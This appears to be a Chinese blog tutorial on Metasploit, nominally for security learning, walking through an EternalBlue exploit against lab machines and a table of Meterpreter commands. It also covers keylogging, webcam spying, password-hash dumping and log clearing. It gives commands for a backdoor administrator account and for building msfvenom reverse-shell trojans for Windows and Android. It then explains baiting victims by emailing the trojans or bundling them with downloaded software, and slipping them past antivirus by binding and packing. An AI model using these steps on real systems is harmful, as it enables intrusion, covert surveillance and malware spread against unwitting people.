数据来源
本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。
metasploit是什么?
msf是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢岀漏洞和流行的 shellcode,并持续保持更新。
netasploiti让复杂的漏洞攻击流程变的非常简单,一个电脑小白经过几小时的学习,就能对操作系统等主流漏洞发起危害性攻击。
metasploit攻击 windows操作系统
msfconsole:启动 metasploita命令行【命令行效率高,使用方便】
启动 metasploit 前需要做:
- 打开ka终端
- 使用 sudo su命令,并输入kali的密码kali,切换至root用户
- 使用 msfdb init命令初始化 metasploit数据库(*可选)
msf使用法则:
使用模块 -> 配置模块必选项 -> 运行模块。 三步操作,就能实现对主流漏洞的攻击
永恒之蓝漏洞:
永恒之蓝是指2017年4月14日晚,黑客团体 ShadowBrokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用 Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了 Wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。
metasploit攻击永恒之蓝全流程:
1. 使用模块
use exploit/windows/smb/ms17_010_eternalblue
2. 设置必选项
查看必选项【*required 为yes的就是必选项】
show options
或者
1. 搜索漏洞编号:
search ms17_010 # 搜索2017年的10号漏洞永恒之蓝(微软定义),search 使用
2. 使用模块
可以通过模块名称或模块编号使用模块
use exploit/windows/smb/ms17_010_eternalblue # 通过模块名称使用模块
或(选择一种方式即可)
use 0 # 通过模块编号使用模块
3. 查看模块所需要的配置内容
show options # 可以按tab键自动补全命令,show 显示/展示 options 选项
必选项是:yes 的就是必选设置,一些是有默认的,一些是没有默认的就需要我们添加,如目标主机状态是yes,但是当前设置时空。
实验:
1、准备一台靶机(我这里开了一台winXP),并查看靶机的IP地址(等下用做攻击目标)
ipconfig # 查看本机IP地址
ifconfig eth0 # kali查看IP
2、回到kli设置metasploit的必选项,攻击目标这些
set RHOSTS 192.168.0.103 # 设置目标IP地址,set (设置)RHOSTS 目标主机的名称,代表你要攻击谁,目标主机地址也可以写一个范围如:192.168.0.103-254
show options # show 显示/展示 options 选项,查看还有什么需要设置的
set payload windows/x64/meterpreter/reverse_tcp # payload 是攻击载荷,就是攻击完成后想干啥,这里是想获取 meterpreter (默认就是这个)meterpreter是 metasploit 后渗透的神器
set LHOST 192.168.0.102 # LHOSTS为 listen host (侦听主机)代表你是谁,既kali的IP地址默认就是kali自己的IP地址,如果你的不是那就可以修改
set lport 10001 # 将端口设置为10001,代表你要在kali上开启的端口,1-65535随便选,但不能被占用,默认的端口是:4444,为了攻击的成功率可以改一下
show options # 查看配置
3、启动运行模块,开启攻击
命令:run
我这里攻击失败了,原因:192.168.0.103:445-由于失败而中止利用漏洞:无目标:此模块仅支持x64(64位)目标
开一台64位操作系统的虚拟机,继续实验
继续查看主机IP
重新设置攻击目标
set RHOSTS 192.168.0.106 # 设置目标IP地址
启动运行模块,开启攻击
命令:run
攻击成功命令行就会来到meterpreter>,这里就是拿到了目标主机的权限
攻击成功,拿到了对方的权限可以干嘛?可以输入:help # 查看帮助
核心命令
命令 | 说明 |
? | “帮助”菜单 |
background | 当前会话的背景 |
bg | 背景别名 |
bgkill | 杀死背景meterpreter脚本 |
bglist | 列出正在运行的后台脚本 |
bgrun | 作为后台线程执行meterpreter脚本 |
channel | 显示信息或控制活动通道 |
close | 关闭频道 |
detach | 分离meterpreter会话(对于http/https) |
disable_unicode_encoding | 禁用unicode字符串的编码 |
enable_unicode_encoding | 启用unicode字符串的编码 |
exit | 终止meterpreter会话 |
get_timeouts | 获取当前会话超时值 |
guid | 获取会话guid |
help | 帮助菜单 |
info | 显示有关Post模块的信息 |
irb | 在当前会话上打开交互式Ruby shell |
load | 加载一个或多个meterpreter扩展 |
machine_id | 获取连接到会话的计算机的MSF id |
migrate | 将服务器迁移到另一个进程 |
pivot | 管理数据透视侦听器 |
pry | 在当前会话上打开Pry调试器 |
quit | 终止meterpreter会话 |
read | 从通道读取数据 |
resource | 运行存储在文件中的命令 |
run | 执行meterpreter脚本或Post模块 |
secure | (重新)协商TLV数据包加密 |
sessions | 快速切换到另一个会话 |
set_timeouts | 设置当前会话超时值 |
sleep | 强制仪表安静,然后重新建立会话(关机) |
ssl_verify | 修改ssl证书验证设置 |
transport | 管理运输机制 |
use | “load”的别名已弃用 |
uuid | 获取当前会话的uuid |
write | 将数据写入通道 |
Stdapi:文件系统命令
命令 | 说明 |
cat | 将文件的内容读到屏幕上 |
cd | 更改目录 |
checksum | 检索文件的校验和 |
cp | 将源复制到目标 |
del | 删除指定的文件 |
dir | 列表文件(ls的别名) |
download | 下载文件或目录 |
edit | 编辑文件 |
getlwd | 打印本地工作目录 |
getwd | 打印工作目录 |
lcat | 将本地文件的内容读取到屏幕 |
lcd | 更改本地工作目录 |
lls | 列出本地文件 |
lpwd | 打印本地工作目录 |
ls | 列表文件 |
mkdir | 创建新目录 |
mv | 将源文件移动到目标 |
pwd | 打印工作目录 |
rm | 删除指定的文件 |
rmdir | 删除目录 |
search | 搜索文件 |
show_mount | 列出所有装载点/逻辑驱动器 |
upload | 上载文件或目 |
Stdapi:网络命令
命令 | 说明 |
arp | 显示主机arp缓存 |
getproxy | 显示当前代理配置 |
ifconfig | 显示界面 |
ipconfig | 显示IP界面 |
netstat | 显示网络连接与对方开放的端口 |
portfwd | 将本地端口转发到远程服务 |
resolve | 解析目标上的一组主机名 |
route | 查看和修改路由表 |
Stdapi:系统命令
命令 | 说明 |
clearev | 清除事件日志 |
drop_token | 放弃任何活动模拟令牌。 |
execute | 执行命令 |
getenv | 获取一个或多个环境变量值 |
getpid | 获取当前进程标识符 |
getprivs | 尝试启用当前进程可用的所有权限 |
getsid | 获取服务器正在运行的用户的SID |
getuid | 获取服务器运行的用户 |
kill | 终止进程 |
localtime | 显示目标系统的本地日期和时间 |
pgrep | 按名称筛选进程 |
pkill | 按名称终止进程 |
ps | 列出正在运行的进程 |
reboot | 重新启动远程计算机 |
reg | 修改并与远程注册表交互 |
rev2self | 在远程计算机上调用RevertToSelf() |
shell | 放入系统命令shell |
shutdown | 关闭远程计算机 |
stealt_token | 尝试从目标进程中窃取模拟令牌 |
suspend | 暂停或恢复进程列表 |
sysinfo | 获取有关远程系统的信息,如操作系统 |
Stdapi:用户界面命令
命令 | 说明 |
enumdesktops | 列出所有可访问的桌面和窗口工作站 |
getdesktop | 获取当前meterpreter桌面 |
idletime | 返回远程用户空闲的秒数 |
keyboard_send | 发送键击 |
keyevent | 发送按键事件 |
keyscan_dump | 转储击键缓冲区 |
keyscan_start | 开始捕获击键 |
keyscan_stop | 停止捕获击键 |
mouse | 发送鼠标事件 |
screenshare | 共享实时监视远程用户桌面 |
screenshot | 截图,获取交互式桌面的截图 |
setdesktop | 更改meterpreters当前桌面 |
uictl | 控制一些用户界面组件 |
Stdapi:正在使用网络摄像头命令
命令 | 说明 |
record_mic | 从默认麦克风录制音频X秒 |
webcam_chat | 开始视频聊天 |
webcam_list | 列出网络摄像头 |
webcam_snap | 从指定的网络摄像机拍摄快照 |
webcam_stream | 从指定的网络摄像机播放视频流(打开摄像头) |
Stdapi:音频输出命令
命令 | 说明 |
play | 在目标系统上播放波形音频文件(.wav) |
Priv:提升命令
命令 | 说明 |
getsystem | 尝试将您的权限提升到本地系统的权限 |
密码数据库命令
命令 | 说明 |
hashdump | 转储SAM数据库的内容 |
Priv:时间戳命令
命令 | 说明 |
timestomp | 操纵文件MACE属性 |
攻击成功后的命令使用:
攻击成功后成功获取到对方主机的权限,上面的这操作命令直接输入到命令行使用就行了
注意:上面表格中的命令我也没有仔细检查过,如果使用时出现报错那应该是我填错了,这时可以输入命令:
help # 查看帮助,按类型获取到正确的命令,也可以在下方给我留言我会及时更改。
攻击成功后的使用示例:
攻击成功后能做什么meterpreter是强大的后渗透模块,可以输入help查看帮助信息
远程控制、命令执行、摄像头监控、密码获取、创建后门用户、破坏篡改系统...这些看起来非常复杂又高级的操作都能用 meterpreter中一行或几个字母,简单的命令完成
例:创建后门用户并开启远程连接
shell
net user zhangsan 123456 /add & net localgroup administrators zhangsan /add
exit
run getgul -e
1)使用Kali渗透工具生成远控木马
想远程控制别人?msfvenom 生成远控木马了解一下
msfvenom 是用来生成后门的软件,在目标机上执行后门,在本地监听上线。
【* msfvenom在shell里使用,不是 msfconsole 终端】
payload 攻击载荷
windows 是指微软的windows操作系统,如果目标是其他系统这里就改成其他系统名称如:Linux
lhost 代表你是谁,既kali的IP地址
lport 代表你要在kali上开启的端口,1-65535随便选,但不能被占用
-f 是指format(格式)
exe 是windows格式文件,是指生成木马文件的文件格式,exe 和 dll(Windows 系列)、elf(Linux 系列)和 Mach-O(Mac系列)
-o 是指output(输出),后面跟的demo.exe是文件名,自定义随便改。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.102 lport=9988 -f exe -o demo.exe
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.43.89 LPORT=9988 R > /home/kali/Desktop/lanxf.apk
生成木马文件示例:
输入:exit # 退回上一级,直到回到kali的命令行中
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.102 lport=9988 -f exe -o demo999.exe # 生成木马文件
现在文件就生成到桌面的我们可以在桌面查看文件
这个文件可以通过邮箱或其他社交平台发送给对方,然后对方运行了之后我们就可以对他电脑进行远程控制(不过一般情况下会被对方的杀毒软件直接杀死)如下面这样,我们直接把木马文件复制到自己的真实机,杀毒软件会自动检测并杀死。
注意:这里是在命令行的桌面路径下输入命令所以文件默认是生成在桌面,如果想改生成文件的位置,那就把命令后面的文件名改成路径加文件名,如:/home/kali/demo999.exe 。或者使用命令:cd 路径 # 更改命令行的路径
生成木马就完事?记得在 msfconsole里开启监听,等待受害者运行上钩
现在有了木马文件,我们要让别人下载,俗称:“钓鱼”
首先:制作鱼钩
msfconsole # 启动 metasploita命令行
use exploit/multi/handler # 使用模块
show options # 查看设置,查看这个模块需要配置那些选项才能使用
1)设置攻击载荷:
set payload windows/x64/meterpreter/reverse_tcp # 这个攻击载荷就是上面我们使用的攻击载荷
show options # 查看设置
2)设置侦听地址
set LHOST 192.168.0.102 # LHOSTS为 listen host (侦听主机)代表你是谁,既kali的IP地址
show options # 查看设置
3)设置帧听端口:
set lport 9988 # 就是要在kali上要开启的端口,注意这里的端口要和前面生成木马文件的端口一样,我上面是用9988端口这里也要9988端口,默认的端口是4444
4)运行模块:run # 简单理解就是把鱼钩放到河里
现在我们要做的就是等待鱼儿上钩:
方法一:我们主动将钩子摁到鱼儿上(利用漏洞)
方法二:姜太公钓鱼,愿者上钩!
假设目标通过网上下载了其他软件比如啥直播、游戏之类的,然后我的木马文件也和这些软件绑定了,他也运行了,之后我们就可以对他进行些操作。
然后输入: help # 查看通过这个木马文件我们能干啥,可以使用的功能和我上面列出来的命令一样
webcam_list | 列出网络摄像头(查看对方的电脑有没有摄像头) |
webcam_stream | 从指定的网络摄像机播放视频流(打开摄像头) |
我这里的目标是虚拟机所以这块,响应的信息是没有
ctrl + c 退出监控
杀毒软件会查杀怎么办?一招教你躲避火绒的探测
最基础的免杀【*对于其他杀毒软件效果不同,具体情况请自行尝试】
捆绑木马(现在基本没效果,杀毒软件的技术更新了)
msfvenom -p windows/64/meterpreter/reverse tcp lhost=192.168.0.102 lport=9999 -f exe-xnotepad++. exe -o notepad++.exe
加壳:压缩壳、加密壳
如:Themida
使用示例:
打开软件
然后耐心等待加密过程,最后加密成功的界面如下,之后就可以关闭软件了。
然后可以复制到真实机上测试
后门木马请勿随意传播,如果造成危害属于提供计算机操作系统入侵工具罪及非法入侵计算机操作系统数罪并罚。